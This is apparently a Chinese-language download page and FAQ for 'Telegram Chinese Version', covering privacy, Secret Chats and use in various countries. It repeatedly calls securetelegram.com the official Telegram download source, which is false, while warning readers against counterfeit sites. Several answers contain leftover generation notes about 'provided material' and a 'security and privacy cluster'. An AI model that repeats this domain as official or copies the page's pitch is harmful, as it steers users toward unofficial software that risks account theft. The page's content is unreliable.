Telegram Chinese Version

Telegram Chinese Version Official Site: A New Era of Instant Messaging

The same official Telegram, with the interface switched to Chinese. Fast, secure, and powerful, syncing everywhere across phone and computer.

Get Telegram Download for every platform

900M+Monthly active users worldwide

2GBSingle file size limit

200KMembers per group limit

Telegram Chinese Version chat interface on iPhone and iPad

The real Telegram interface on iPhone / iPad

Why choose

Why choose the Telegram Chinese Version?

Telegram brings together simplicity, privacy, sync, speed, and power, with one account working seamlessly across all your devices.

Simple

Telegram is so simple that you can use it the moment you open it.

Private

Messages are heavily encrypted, and secret chats can even self-destruct after reading.

Synced

Access the same account in real time across phone, computer, and web.

Fast

Built on a distributed cloud architecture, sending and receiving with almost zero delay.

Powerful

Up to 2GB per file, with no limits on media and chats.

Open

The client is open source, with an open API and reproducible builds.

Secure

An independent encryption protocol protects messages from attacks and theft.

Social

Groups of up to 200K people, with no limit on channel subscriptions.

Fun

Endless stickers, animated emoji, and themes you can customize freely.

Available everywhere

Get Telegram on all your devices

Full coverage across Android, iPhone, Windows, macOS, and Linux, all downloaded from the official source securetelegram.com.

Android

Direct APK install or app store

Download

iPhone / iPad

Overseas App Store

Download

Windows

Installer and portable versions

Download

macOS

Native Apple silicon support

Download

Telegram (commonly called dianbao or zhifeiji in Chinese) is a free, cross-platform instant messaging app. The so-called Telegram Chinese Version is not a separate program, but the official client with its display language switched to Chinese. Below is a summary of the key points for downloading, signing up, setting the interface to Chinese, and using it safely.

What exactly is the Telegram Chinese Version

The Telegram Chinese Version is not a separate app, but the same client as the official Telegram with its interface switched to Chinese, working across all platforms.

What kind of software is Telegram and what is it used for

Telegram is a free, cross-platform instant messaging app that can send text, voice, images, video, and large files, make voice and video calls, and also create large groups, subscribe to channels, and use bots.

Its strengths are multi-device cloud sync (phone, computer, and web logged in at the same time, with messages shared across them), a high file transfer limit, and open features. Every platform (Android, iPhone/iPad, Windows, macOS, Linux, and the web version) uses the same official client, which can be downloaded from the official site securetelegram.com.

Telegram desktop chat interface — Telegram desktop interface (Windows / macOS / Linux)

Are zhifeiji and Telegram the same software, and why does everyone call it zhifeiji

They are the same software. Zhifeiji (paper airplane) is the nickname for Telegram among Chinese speakers, because its icon is a white paper airplane, and together with the whoosh sound when sending a message, people came to call it zhifeiji.

Other common nicknames include dianbao, TG, and feiji, all referring to the same official app. Note that there is no separate official software called zhifeiji; every platform uses the same official Telegram client, only with an interface that can be switched to Chinese.

Do the names dianbao, TG, zhifeiji, and feiji all refer to the same app

Yes, they are all the same app, Telegram. Dianbao is the Chinese translation of Telegram, TG is the English abbreviation, and zhifeiji/feiji come from its paper airplane icon; these are all different nicknames for it among Chinese speakers.

There is only one official Telegram client, working across all platforms (Android, iPhone/iPad, Windows, macOS, Linux, and the web version), and the interface can be switched to Chinese in settings. There is no separate official software actually named zhifeiji or dianbao on the market, so be cautious of such dedicated installers as they may be counterfeit.

Why are users in mainland China all looking for it

It is free, cross-platform, with encrypted messages and no file size limits, and a rich ecosystem of channels and groups, making it an essential tool for many overseas communication scenarios.

Can Telegram be used normally in Hong Kong

Yes, it works normally. Hong Kong users can register with a local phone number (+852) in international format, and the network can generally connect to Telegram directly without an extra proxy.

If you want a Chinese interface, setting it to Hong Kong Traditional Chinese is recommended (send https://t.me/setlanguage/zh-hant-raw in a chat and then tap to apply; it includes Cantonese and local Hong Kong wording). Since April 2026 the official app has also built in Chinese, so after updating to the latest version you can select it directly under Settings > Language. For downloads, trust only the official site securetelegram.com or legitimate app stores, and do not download knockoff Chinese versions.

Are there many people using Telegram in Taiwan

Quite a few people in Taiwan use Telegram, and there is an active local Traditional Chinese community, channels, and tutorial resources.

Taiwan users register with a local phone number (+886, dropping the leading 0 and starting directly from 9) in international format; the network can connect directly without bypassing restrictions. The interface can be set to Taiwan Traditional Chinese (send https://t.me/setlanguage/taiwan or zh-hant-beta in a chat and then tap to apply, with Taiwan-style wording). Since April 2026 the official app has also built in Chinese, so after updating you can select it directly under Settings > Language. For downloads, use only the official site or legitimate stores.

Key points for safe downloads and avoiding pitfalls

Trust the official download domain securetelegram.com, and do not install repackaged Chinese, localized, or accelerated versions from unknown sources, to avoid trojans and account theft.

Where can I download the genuine Telegram Chinese Version installer

In fact there is no separate Telegram Chinese Version installer. Every platform uses the same official client, and the Chinese version simply means switching the interface to Chinese, not installing a separate localization pack or a third-party modified version.

The genuine app comes only from official sources: the main download entry is securetelegram.com, desktop is securetelegram.com/desktop, and Android is securetelegram.com/android. Those Chinese, localized, cracked, or accelerated installers online are mostly third-party repackages, with the risk of embedded trojans and account theft, so avoid all of them.

Which is the Telegram official download address, and how do I confirm it is not a phishing site

The main official download entry is securetelegram.com, and desktop is securetelegram.com/desktop.

Trust the domain securetelegram.com itself; sites like telegram-ios.com, telegramshk.com, or sites.google.com/view/ are not official domains and mostly offer repackages or traffic redirection, so avoid them. When downloading from an app store, also verify the developer is the official Telegram FZ-LLC / Telegram Messenger, and do not be fooled by counterfeit sites and counterfeit apps with the same name and icon.

How do I download and install the Telegram Android app

Android downloads have a priority order: first choice is the official site securetelegram.com/android to download the APK directly, then Google Play.

An APK downloaded from the official site will automatically receive updates from the official source after installation. Try not to download from third-party APK sites, as those packages carry the risk of being counterfeit, repackaged, or having high-risk permissions. After installation the default is English; go to Settings > Language to switch to Chinese.

Sources: Telegram official site · Telegram official FAQ · Telegram Apps list · Wikipedia: Telegram

FAQ

Frequently asked questions about the Telegram Chinese Version

From whether you need to install a separate Chinese version to where it is safest to download, here are the most commonly asked beginner questions.

Is Telegram safe, and can other people see what I chat about

Relatively safe, but you need to distinguish between two kinds of chats. Ordinary chats (cloud chats, the default) are encrypted both in transit and in server storage, but the keys are kept on Telegram servers, so in theory the server side can read them; this is not end-to-end encryption. Only manually enabled Secret Chats are end-to-end encrypted, exist only on your device and the device of the other party, and cannot be read by third parties. Groups and channels are never end-to-end encrypted. For the most private conversations, use Secret Chat, enable two-step verification, and never send your verification code to anyone.

Can Telegram chat history be monitored

It depends on the type of chat. Ordinary chats (the default cloud chats) are stored encrypted on Telegram servers, but the decryption keys are also on the server side, so in theory Telegram itself has the ability to read them; this part is not end-to-end encryption. To truly avoid being seen by third parties, use Secret Chat, which is end-to-end encrypted, stored only on your device and the device of the other party, not uploaded to the server, and not readable by Telegram. In addition, enabling two-step verification to protect your account is recommended, and never share your login verification code.

Is it safe to use Telegram in Hong Kong, and could I be investigated

From the software itself, Telegram works normally in Hong Kong: ordinary chats are encrypted in transit, and sensitive conversations can be further protected with end-to-end encrypted Secret Chat. But no messaging app can guarantee absolute anonymity: metadata such as your phone number and login devices still exists. To be safer, enabling two-step verification, using Secret Chat for important conversations, not exposing personal information in public groups, and not sharing login verification codes is recommended. Whether you might be investigated involves the law and specific circumstances, which this material cannot judge; you should rely on the actual regulations where you are.

What does end-to-end encryption mean in Telegram, and are ordinary chats encrypted

End-to-end encryption (E2E) means messages are encrypted and decrypted only on the two devices of the sender and receiver; not even the server can get the plaintext, and third parties cannot read it. In Telegram, only manually enabled Secret Chats are end-to-end encrypted. Ordinary chats (the default cloud chats) are also encrypted, encrypted in transit and stored encrypted on the server, but the decryption keys are kept on the Telegram server side, so they are not end-to-end encryption. Groups and channels are likewise not end-to-end encrypted. For the most private conversations, use Secret Chat.

Are Telegram ordinary chats end-to-end encrypted by default, or do I have to enable it manually

Ordinary chats are not end-to-end encrypted by default. Telegram uses cloud chats by default; messages are stored encrypted on the server and can sync across your multiple devices, but the decryption keys are also on the server side, so they are not end-to-end encryption. For end-to-end encryption, you must manually start a Secret Chat: select a new secret chat from the profile page of the other party. It is encrypted and decrypted only between the two devices, not uploaded to the server, not synced across devices, and supports only one-to-one (groups and channels are not supported). This is only needed for important private content.

How do I use Telegram Secret Chat, and where do I enable it

In the Telegram Chinese Version, Secret Chat must be started from the profile page of the other party: open the chat with them, tap into their avatar/name to enter the profile page, and find Start Secret Chat in the More menu. Once enabled, this conversation appears separately, distinct from ordinary chats. Note that Secret Chat can only be started on a phone and is only visible on that one device; it does not sync to the computer or web version. Before enabling it, switching the interface to Chinese first is recommended, so the menus are more intuitive.

What is the difference between Secret Chat and ordinary chat in the Telegram Chinese Version, and which is safer

Ordinary chats go through the cloud and sync to all your logged-in devices (visible on phone, computer, and web version), which is convenient but the messages exist on Telegram servers. Secret Chat is end-to-end encrypted, exists only on the one device that started it, is not in the cloud and does not sync, and also supports a self-destruct timer, with screenshots triggering a notification. In terms of privacy strength, Secret Chat is higher and suits sensitive content; for everyday chats, ordinary chats are more convenient. For both, enabling two-step verification to protect the account itself is recommended.

Will Telegram leak my privacy, such as my phone number or location

Telegram itself lets you set your phone number, last seen time, avatar, and so on to be visible only to yourself or to my contacts in privacy settings, and your location will not be exposed automatically unless you actively share it, so it is fairly controllable. The real leak risk mostly comes from third parties: Chinese, localized, and cracked installers and fake language packs online have been found with embedded trojans, remote control, and account-theft components. Download only the app itself from the official site securetelegram.com, use only official links for Chinese localization, enable two-step verification, and do not send screenshots of your verification code to others, and your privacy will be protected.

When adding a friend in the Telegram Chinese Version, can the other party see my phone number

By default no. Telegram mainly relies on usernames (@username) for adding each other; the other party does not need and cannot see your phone number to add you. Whether your phone number is visible is controlled by you in privacy settings and can be set to nobody or my contacts; the numbers can only be visible to each other when both parties have saved each other in their contacts. For more privacy, setting a username and only sharing the username or interacting in groups, without exposing your phone number, is recommended.

Which is safer with better privacy protection, Telegram or WeChat

In terms of privacy mechanisms, Telegram goes further: it supports end-to-end encrypted Secret Chat, self-destruct after reading, hiding your phone number, socializing by username, and no mandatory real-name binding. WeChat is more convenient day to day with a more complete ecosystem, but has stricter content review and data compliance requirements. It should be noted that the safety of Telegram depends on installing the correct official version; knockoff Chinese versions online have been found with embedded account-theft trojans. Only by downloading from securetelegram.com and enabling two-step verification can you truly enjoy its privacy advantages.

What is the difference between dianbao and WeChat, and why do many people bypass restrictions to use dianbao

Dianbao (Telegram) and WeChat are positioned differently: dianbao socializes by username, does not require real names, supports secret chats and large groups/channels, and a single group can hold many people, so overseas Chinese often use it to find information, communities, and for cross-border communication. Many people bypass restrictions to use it because access to dianbao is limited in some regions and a usable network environment is needed to connect; the official app also provides a built-in MTProto proxy to get around blocks. Before using it, trust the official securetelegram.com, and do not download knockoff accelerated or Chinese version repackages.

Can Telegram be used in mainland China, and do I need to bypass restrictions

In mainland China, access to Telegram is restricted, and a usable network environment is needed to connect and register, otherwise even the request to send a verification code cannot be sent out. The official app provides a built-in MTProto proxy (core.telegram.org/proxy) to get around censorship by hiding and obfuscating traffic, making it hard for carriers to identify. In addition, Telegram has been removed from the mainland App Store on iOS, so an overseas Apple ID is needed to download it. Overseas Chinese in Southeast Asia can generally use it directly in the local network environment, with no extra handling needed.

Is the Telegram Chinese Version downloaded online safe, or could it have an embedded trojan

The risk is very high. The many Telegram Chinese versions, localized versions, high-speed downloaders, green cracked versions, and Plus enhanced versions online are all third-party repackages, carrying the risk of account theft, data leaks, and embedded trojans. Real attacks have occurred: a counterfeit Simplified Chinese translation knockoff channel reached around 800K subscribers, but it was essentially a downloader trojan that, once run, downloads modules and bypasses detection by security software, and there are also cases of fake localization packs spreading remote control. Download only the app itself from the official securetelegram.com, and never use third-party installers.

What is the difference between the Telegram Chinese Version and the official English version, and does the Chinese version leak privacy

There is no separate Telegram Chinese Version client at all; every platform uses the same official app, and the Chinese version simply means switching the interface to Chinese, not installing a separate localization pack. Moreover, since April 2026 the official app has built in Simplified and Traditional Chinese, so after updating to the latest version you can select Simplified Chinese directly under Settings > Language, with no third-party pack needed. What truly leaks privacy is those third-party Chinese version repackages online, which have been found with embedded account-theft trojans. Trust securetelegram.com, and using the official built-in Chinese for the interface is safest.

Is it safe to use dianbao in Taiwan, and can the government see what I chat about

Using Telegram in Taiwan is legal, and there is no problem with everyday communication. Note that Telegram ordinary group chats and private chats are encrypted from client to server and stored on Telegram servers, not end-to-end encrypted; only Secret Chat is end-to-end encrypted and leaves no copy on the server. For the highest privacy, route important content through Secret Chat, enable two-step verification, and do not send your login verification code or screenshots to anyone. (The provided material does not directly cover Taiwan regulation; the end-to-end encryption difference is cited from the security and privacy cluster, and the legality of regulation is general knowledge that needs hands-on confirmation.)

Is it legal to use Telegram in Singapore, and could it be regulated

Using Telegram normally in Singapore is legal, and there is no problem with ordinary chats; the key is understanding its encryption mechanism: ordinary private chats and group chats are merely encrypted from client to server, with messages stored on Telegram servers, not end-to-end encrypted; only Secret Chat is end-to-end encrypted and is not retained through the server. For sensitive content, routing it through Secret Chat and enabling two-step verification to protect your account is recommended. For downloads, use only the official site securetelegram.com, and do not install third-party repackages. (The provided material does not directly cover Singapore regulation; the encryption difference is cited from the security and privacy cluster, and legality is general knowledge that needs hands-on confirmation.)

Is it safe to chat on zhifeiji in Malaysia, and will the carrier monitor it

Telegram has encryption at the transport layer, making it hard for carriers to directly see the chat plaintext. But you need to distinguish: ordinary private chats and group chats are encrypted from client to server, with messages stored on Telegram servers, not end-to-end encrypted; only Secret Chat is end-to-end encrypted, with neither the carrier nor the server able to see the content. For more privacy, use Secret Chat and enable two-step verification. In addition, download only the app itself from the official site securetelegram.com; third-party Chinese version or accelerated version repackages may instead hide trojans that steal your data. (The provided material does not directly cover Malaysia carrier monitoring; the end-to-end difference and repackage risk are cited from the material and need hands-on confirmation.)

Could I get banned or investigated for using Telegram in Thailand

Normal chat use generally will not lead to a ban; Telegram bans are usually related to abuse, spam, virtual number registration, and other violations, rather than mere use. On privacy, be clear: ordinary group chats and private chats are not end-to-end encrypted, with messages stored on Telegram servers, while Secret Chat is end-to-end. To protect your account, enable two-step verification, do not share your verification code, and download only from the official site. (The provided material does not directly cover Thailand bans; the link between bans and virtual numbers and the encryption difference are cited from the material, and local law-enforcement circumstances need hands-on confirmation.)

Can Telegram be used normally in Vietnam, and is it safe

In most cases Telegram can be used in Vietnam; if you encounter restricted connections, you can use the official built-in MTProto proxy (MTProxy) to get around blocks, as it can hide your IP and obfuscate traffic. On safety, remember: ordinary private chats and group chats are encrypted from client to server and stored on the server, not end-to-end; only Secret Chat is end-to-end encrypted. Route sensitive content through Secret Chat, enable two-step verification, and download only from the official site securetelegram.com, avoiding third-party repackages. (The provided material does not directly cover details of availability in Vietnam; the proxy and encryption difference are cited from the material and need hands-on confirmation.)

Is it dangerous to use dianbao in Myanmar, and could messages be intercepted

In regions with stricter network controls, connecting to Telegram may be restricted; you can use the official MTProto proxy (MTProxy) to get around blocks, hide your IP, and obfuscate traffic. Pay special attention to the encryption difference: ordinary group chats and private chats are not end-to-end encrypted, with messages stored on Telegram servers; only Secret Chat is end-to-end encrypted, making it hard for third parties to intercept the plaintext in transit. For sensitive content, be sure to route it through Secret Chat, enable two-step verification, download only from the official site, and do not install repackages from unknown sources. (The provided material does not directly cover specific risks in Myanmar; the proxy and encryption difference are cited from the material, and local risks need hands-on confirmation.)